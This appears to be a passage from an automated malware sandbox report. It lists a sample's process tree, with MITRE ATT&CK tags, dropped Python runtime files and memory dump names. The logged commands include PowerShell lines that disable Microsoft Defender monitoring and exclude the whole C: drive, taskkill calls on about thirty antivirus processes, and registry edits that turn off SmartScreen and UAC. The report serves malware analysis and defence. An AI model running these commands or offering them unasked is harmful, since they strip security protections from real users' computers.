C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"3⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im arcabit.exe3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im forticlient.exe3⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f3⤵
- Modifies registry key
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ipconfig /flushdns"3⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns4⤵
- Gathers network information
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
Admin.zip
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
md.cp312-win_amd64.pyd
md__mypyc.cp312-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
_psutil_windows.pyd
pyexpat.pyd
python3.DLL
python312.dll
pythoncom312.dll
pywintypes312.dll
select.pyd
sqlite3.dll
Conakry
Djibouti
Kigali
Lagos
Curacao
Toronto
EST
Greenwich
London
Oslo
Skopje
MET
PRC
Wallis
Yap
UCT
Mountain
ucrtbase.dll
unicodedata.pyd
win32api.pyd
win32crypt.pyd
win32event.pyd
__PSScriptPolicyTest_kdszqa1r.dvi.ps1
tmp_3118.db
tmp_3553.db
tmp_5487.db
tmp_6358.db
tmp_7503.db
tmp_9372.db
hosts
memory/1400-1260-0x00007FFA0F9A0000-0x00007FFA0F9CC000-memory.dmp
memory/1400-1262-0x00007FFA0F9E0000-0x00007FFA0F9ED000-memory.dmp
memory/1400-1261-0x00007FFA12710000-0x00007FFA12729000-memory.dmp
memory/1400-1259-0x00007FFA12730000-0x00007FFA12749000-memory.dmp
memory/1400-1258-0x00007FFA12750000-0x00007FFA1275F000-memory.dmp
memory/1400-1257-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2028-1111-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/2028-850-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2028-852-0x00007FFA12730000-0x00007FFA12749000-memory.dmp
memory/2028-853-0x00007FFA0F9A0000-0x00007FFA0F9CC000-memory.dmp
memory/2028-1110-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2028-1099-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2028-1112-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/2028-854-0x00007FFA12710000-0x00007FFA12729000-memory.dmp
memory/2028-855-0x00007FFA0F9E0000-0x00007FFA0F9ED000-memory.dmp
memory/2028-856-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2028-857-0x00007FFA0F940000-0x00007FFA0F976000-memory.dmp
memory/2028-1100-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2028-858-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/2028-860-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2028-863-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/2028-893-0x00007FFA06780000-0x00007FFA0679C000-memory.dmp
memory/2028-849-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2028-862-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/2028-851-0x00007FFA12750000-0x00007FFA1275F000-memory.dmp
memory/2028-859-0x00007FFA0F910000-0x00007FFA0F924000-memory.dmp
memory/2028-865-0x00007FFA068B0000-0x00007FFA069CA000-memory.dmp
memory/2028-864-0x00007FFA0EC00000-0x00007FFA0EC28000-memory.dmp
memory/2028-867-0x00007FFA0EC30000-0x00007FFA0EC3B000-memory.dmp
memory/2028-869-0x00007FFA0E800000-0x00007FFA0E824000-memory.dmp
memory/2028-870-0x00007FF9FB160000-0x00007FF9FB2DF000-memory.dmp
memory/2028-875-0x00007FFA0E6F0000-0x00007FFA0E70B000-memory.dmp
memory/2028-876-0x00007FF9FB090000-0x00007FF9FB151000-memory.dmp
memory/2028-874-0x00007FFA06880000-0x00007FFA068AF000-memory.dmp
memory/2028-873-0x00007FFA0E710000-0x00007FFA0E73A000-memory.dmp
memory/2028-910-0x00007FF9F5380000-0x00007FF9F53C9000-memory.dmp
memory/2028-1108-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/2028-877-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2028-878-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2028-889-0x00007FFA06880000-0x00007FFA068AF000-memory.dmp
memory/2028-879-0x00007FFA067F0000-0x00007FFA0681C000-memory.dmp
memory/2028-896-0x00007FF9FB090000-0x00007FF9FB151000-memory.dmp
memory/2028-895-0x00007FFA04420000-0x00007FFA04439000-memory.dmp
memory/2028-894-0x00007FFA06760000-0x00007FFA0677E000-memory.dmp
memory/2028-880-0x00007FFA0EB10000-0x00007FFA0EB20000-memory.dmp
memory/2028-881-0x00007FFA0F910000-0x00007FFA0F924000-memory.dmp
memory/2028-885-0x00007FFA0E800000-0x00007FFA0E824000-memory.dmp
memory/2028-886-0x00007FF9FB160000-0x00007FF9FB2DF000-memory.dmp
memory/2028-891-0x00007FFA089D0000-0x00007FFA089E6000-memory.dmp
memory/2028-1106-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2028-908-0x00007FF9FACA0000-0x00007FF9FACB4000-memory.dmp
memory/2028-892-0x00007FFA067D0000-0x00007FFA067E2000-memory.dmp
memory/2732-906-0x00007FFA0F9A0000-0x00007FFA0F9CC000-memory.dmp
memory/2732-905-0x00007FFA12730000-0x00007FFA12749000-memory.dmp
memory/2732-907-0x00007FFA12710000-0x00007FFA12729000-memory.dmp
memory/2732-1129-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2732-902-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2732-903-0x00007FFA12750000-0x00007FFA1275F000-memory.dmp
memory/2732-1135-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2732-890-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2732-1128-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2732-1139-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2732-915-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/2732-914-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2732-913-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2732-1141-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/2732-912-0x00007FFA0F9E0000-0x00007FFA0F9ED000-memory.dmp
memory/2732-1140-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/2732-1137-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/2888-836-0x00007FF9FB090000-0x00007FF9FB151000-memory.dmp
memory/2888-813-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2888-872-0x00007FF9FB090000-0x00007FF9FB151000-memory.dmp
memory/2888-871-0x00007FFA0E710000-0x00007FFA0E73A000-memory.dmp
memory/2888-868-0x00007FF9FB160000-0x00007FF9FB2DF000-memory.dmp
memory/2888-866-0x00007FFA0E800000-0x00007FFA0E824000-memory.dmp
memory/2888-861-0x00007FFA0EC00000-0x00007FFA0EC28000-memory.dmp
memory/2888-848-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/2888-834-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2888-835-0x00007FFA06880000-0x00007FFA068AF000-memory.dmp
memory/2888-909-0x00007FFA04420000-0x00007FFA04439000-memory.dmp
memory/2888-843-0x00007FFA0EB10000-0x00007FFA0EB20000-memory.dmp
memory/2888-842-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/2888-837-0x00007FFA067F0000-0x00007FFA0681C000-memory.dmp
memory/2888-838-0x00007FFA0E6F0000-0x00007FFA0E70B000-memory.dmp
memory/2888-824-0x00007FFA0F910000-0x00007FFA0F924000-memory.dmp
memory/2888-825-0x00007FFA0E710000-0x00007FFA0E73A000-memory.dmp
memory/2888-820-0x00007FF9FB160000-0x00007FF9FB2DF000-memory.dmp
memory/2888-1059-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2888-1067-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/2888-1058-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2888-1069-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2888-1071-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/2888-1070-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/2888-1065-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2888-818-0x00007FFA0E800000-0x00007FFA0E824000-memory.dmp
memory/2888-815-0x00007FFA068B0000-0x00007FFA069CA000-memory.dmp
memory/2888-882-0x00007FFA089D0000-0x00007FFA089E6000-memory.dmp
memory/2888-811-0x00007FFA0EC00000-0x00007FFA0EC28000-memory.dmp
memory/2888-808-0x00007FFA0EC30000-0x00007FFA0EC3B000-memory.dmp
memory/2888-803-0x00007FFA0F9A0000-0x00007FFA0F9CC000-memory.dmp
memory/2888-804-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/2888-884-0x00007FFA06780000-0x00007FFA0679C000-memory.dmp
memory/2888-911-0x00007FF9F5380000-0x00007FF9F53C9000-memory.dmp
memory/2888-883-0x00007FFA067D0000-0x00007FFA067E2000-memory.dmp
memory/2888-887-0x00007FFA06760000-0x00007FFA0677E000-memory.dmp
memory/2888-888-0x00007FFA04420000-0x00007FFA04439000-memory.dmp
memory/2888-755-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2888-904-0x00007FF9FACA0000-0x00007FF9FACB4000-memory.dmp
memory/2888-764-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2888-766-0x00007FFA12750000-0x00007FFA1275F000-memory.dmp
memory/2888-772-0x00007FFA0F9A0000-0x00007FFA0F9CC000-memory.dmp
memory/2888-786-0x00007FFA0F940000-0x00007FFA0F976000-memory.dmp
memory/2888-794-0x00007FFA0F910000-0x00007FFA0F924000-memory.dmp
memory/2888-793-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/2888-797-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2888-796-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2888-790-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/2888-782-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2888-779-0x00007FFA0F9E0000-0x00007FFA0F9ED000-memory.dmp
memory/2888-776-0x00007FFA12710000-0x00007FFA12729000-memory.dmp
memory/2888-770-0x00007FFA12730000-0x00007FFA12749000-memory.dmp
memory/2888-801-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/2952-1234-0x00007FFA12730000-0x00007FFA12749000-memory.dmp
memory/2952-1249-0x00007FF9FB160000-0x00007FF9FB2DF000-memory.dmp
memory/2952-1239-0x00007FFA0F940000-0x00007FFA0F976000-memory.dmp
memory/2952-1238-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/2952-1237-0x00007FFA0F9E0000-0x00007FFA0F9ED000-memory.dmp
memory/2952-1252-0x00007FFA0E6F0000-0x00007FFA0E70B000-memory.dmp
memory/2952-1251-0x00007FFA06880000-0x00007FFA068AF000-memory.dmp
memory/2952-1250-0x00007FFA0E710000-0x00007FFA0E73A000-memory.dmp
memory/2952-1245-0x00007FFA0EC30000-0x00007FFA0EC3B000-memory.dmp
memory/2952-1243-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/2952-1241-0x00007FFA0F910000-0x00007FFA0F924000-memory.dmp
memory/2952-1240-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/2952-1236-0x00007FFA12710000-0x00007FFA12729000-memory.dmp
memory/2952-1235-0x00007FFA0F9A0000-0x00007FFA0F9CC000-memory.dmp
memory/2952-1248-0x00007FFA0E800000-0x00007FFA0E824000-memory.dmp
memory/2952-1233-0x00007FFA12750000-0x00007FFA1275F000-memory.dmp
memory/2952-1232-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/2952-1242-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/2952-1253-0x00007FF9FB090000-0x00007FF9FB151000-memory.dmp
memory/2952-1246-0x00007FFA0EC00000-0x00007FFA0EC28000-memory.dmp
memory/2952-1247-0x00007FFA068B0000-0x00007FFA069CA000-memory.dmp
memory/2952-1244-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/2952-1231-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/3568-1180-0x00007FFA0EC40000-0x00007FFA0EC73000-memory.dmp
memory/3568-1175-0x00007FFA0F990000-0x00007FFA0F99F000-memory.dmp
memory/3568-1169-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/3568-1168-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/3568-1179-0x00007FF9FB2E0000-0x00007FF9FB813000-memory.dmp
memory/3568-1181-0x00007FFA069D0000-0x00007FFA06A9E000-memory.dmp
memory/3568-1177-0x00007FFA0F930000-0x00007FFA0F93D000-memory.dmp
memory/4936-899-0x0000023C7EBC0000-0x0000023C7EBE2000-memory.dmp
memory/5404-1216-0x00007FF9FB160000-0x00007FF9FB2DF000-memory.dmp
memory/5404-1219-0x00007FFA0E6F0000-0x00007FFA0E70B000-memory.dmp
memory/5404-1199-0x00007FFA12760000-0x00007FFA12785000-memory.dmp
memory/5404-1198-0x00007FF9FB820000-0x00007FF9FBEE2000-memory.dmp
memory/5404-1217-0x00007FFA0E710000-0x00007FFA0E73A000-memory.dmp
memory/5404-1220-0x00007FF9FB090000-0x00007FF9FB151000-memory.dmp
memory/5404-1218-0x00007FFA06880000-0x00007FFA068AF000-memory.dmp